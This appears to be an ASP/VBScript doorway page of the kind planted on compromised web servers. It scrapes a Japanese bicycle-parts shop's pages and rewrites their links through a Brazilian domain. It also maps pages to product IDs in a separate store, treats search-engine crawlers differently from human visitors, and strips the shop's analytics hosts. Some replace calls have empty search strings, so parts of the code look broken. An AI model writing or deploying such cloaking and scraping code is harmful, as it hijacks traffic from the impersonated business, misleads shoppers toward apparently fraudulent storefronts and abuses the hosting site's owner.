<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% on error resume next dim jumptodomain, imagefolder, fromsite, tourl jumptodomain = "http://www.autoairtool.com/bt/cycle-yoshida.js" fromsite = "http://www.cycle-yoshida.com/" tourl ="http://www.llsystems.com.br/dnris.asp" imagefolder = "images/" tourl = tourl&"?" 'test '读取UTF-8格式的文本文件 function ReadFromTextFile (FileUrl,CharSet) dim str set stm=server.CreateObject("adodb.stream") stm.Type=2 '以本模式读取 stm.mode=3 stm.charset="UTF-8" stm.open stm.loadfromfile server.MapPath(FileUrl) str=stm.readtext stm.Close set stm=nothing ReadFromTextFile=str end function '判断是否搜索引擎 function GetBot() '查询蜘蛛 dim s_agent GetBot="" s_agent=Request.ServerVariables("HTTP_USER_AGENT") '关键判断语句 if instr(1,s_agent,"googlebot",1) >0 then GetBot="google" end if if instr(1,s_agent,"bing",1) >0 then GetBot="bing" end if if instr(1,s_agent,"yahoo",1) >0 then GetBot="yahoo" end if if instr(1,s_agent,"bot",1) >0 then GetBot="bot" end if end function Function GetLocationURL() Dim Url Dim ServerPort,ServerName,ScriptName,QueryString ServerName = Request.ServerVariables("SERVER_NAME") ServerPort = Request.ServerVariables("SERVER_PORT") ScriptName = Request.ServerVariables("SCRIPT_NAME") QueryString = Request.ServerVariables("QUERY_STRING") Url="http://"&ServerName If ServerPort <> "80" Then Url = Url & ":" & ServerPort Url=Url&ScriptName If QueryString <>"" Then Url=Url&"?"& QueryString GetLocationURL=Server.URLEncode(Url) End Function Function GetCode(str,regstr) Dim Reg,serStr,Cols Set Reg= new RegExp Reg.IgnoreCase = True Reg.MultiLine = True Reg.Pattern =regstr If Reg.test(str) Then Set Cols = Reg.Execute(str) GetCode=Cols(0).SubMatches(0) Else GetCode="" End If Set Cols = Nothing Set Reg = Nothing End Function %> <% on error resume next Function getHTTPPage(URL) Set HTTPReq = Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing End Function '根据字符串获取产品编号,并构造目标路径 Function getID(URL) dim purl '路径 dim pid '编号 dim p_num '行数 dim pstr getID="" pstr="index.php?main_page=product_info&products_id=" txturl="zinc/www.cycle-yoshida.cc-id-url.txt" '路径对应的txt文件 'txts=getHTTPPage(txturl) '获取远程路径文件 txts=ReadFromTextFile(txturl,"UTF-8") '获取本地路径文件 ' response.write(txts) urls=split(txts,chr(10)) p_num=UBound(urls) '循环处理每行数据 for n=1 to p_num '读取前二十行 stemp=split(urls(n),"==>") purl=stemp(0) '获取产品路径 pid=stemp(1) '获取产品编号 if purl=URL then getID=pstr&pid exit for end if next 'response.write(txts) End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "Shift-JIS" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function dim str dim bot bot="" bot=GetBot() ' response.write "aaa"&bot &Request.QueryString if Request.QueryString<>"" then '如果是搜索引擎则不调用 if bot="" then str=getID(Request.QueryString) end if htmls = getHTTPPage(fromsite&Request.QueryString) htmls = replace(htmls,""&chr(34)&fromsite,""&chr(34)&"/") htmls = replace(htmls,"",""&chr(13)&""&str&chr(34)&">") htmls = replace(htmls,"cnzz.com","test.com") htmls = replace(htmls,"51.la","test.com") htmls = replace(htmls,"charset=Shift_JIS","charset=UTF-8") htmls = replace(htmls,"charset=shift_jis","charset=UTF-8") htmls = replace(htmls,""&chr(34)&"/"&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"/media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"/themes/",""&chr(34)&fromsite&"themes/") htmls = replace(htmls,""&chr(34)&"/skin/",""&chr(34)&fromsite&"skin/") htmls = replace(htmls,""&chr(34)&"js/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,""&chr(34)&"/js/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,""&chr(34)&"/scripts/",""&chr(34)&fromsite&"scripts/") htmls = replace(htmls,"href="&chr(34),"href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"//","href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"/http","href="&chr(34)&"http") htmls = replace(htmls,"href="&chr(34)&"/","href="&chr(34)&tourl) htmls = replace(htmls,"href='"&fromsite,"href='"&tourl) htmls = replace(htmls,"src="&chr(34)&"/","src="&chr(34)&fromsite&"") htmls = replace(htmls,""&tourl&"pc/css",""&fromsite&"pc/css") htmls = replace(htmls,""&tourl&"syouhin_list.php",""&tourl&"pc/syouhin_list.php") htmls = replace(htmls,""&fromsite&"images",""&fromsite&"pc/images") htmls = replace(htmls,""&tourl&"syousai.php",""&tourl&"pc/syousai.php") htmls = replace(htmls,""&tourl&"category",""&tourl&"pc/category") htmls = replace(htmls,"src="&chr(34)&"../","src="&chr(34)&fromsite&"") else htmls = getHTTPPage(fromsite) htmls = replace(htmls,""&chr(34)&fromsite,""&chr(34)&"/") htmls = replace(htmls,"",""&chr(13)&""&chr(34)&">") htmls = replace(htmls,"cnzz.com","test.com") htmls = replace(htmls,"51.la","test.com") htmls = replace(htmls,"charset=shift_jis","charset=UTF-8") htmls = replace(htmls,""&chr(34)&"/"&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"/media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"/themes/",""&chr(34)&fromsite&"themes/") htmls = replace(htmls,""&chr(34)&"/skin/",""&chr(34)&fromsite&"skin/") htmls = replace(htmls,""&chr(34)&"js/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,""&chr(34)&"/js/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,""&chr(34)&"/scripts/",""&chr(34)&fromsite&"scripts/") htmls = replace(htmls,"href="&chr(34),"href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"//","href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"/http","href="&chr(34)&"http") htmls = replace(htmls,"href="&chr(34)&"/","href="&chr(34)&tourl) htmls = replace(htmls,"href='"&fromsite,"href='"&tourl) htmls = replace(htmls,"src="&chr(34)&"/","src="&chr(34)&fromsite&"") htmls = replace(htmls,""&tourl&"pc/css",""&fromsite&"pc/css") htmls = replace(htmls,"src="&chr(34)&"../","src="&chr(34)&fromsite&"") end if response.write htmls %>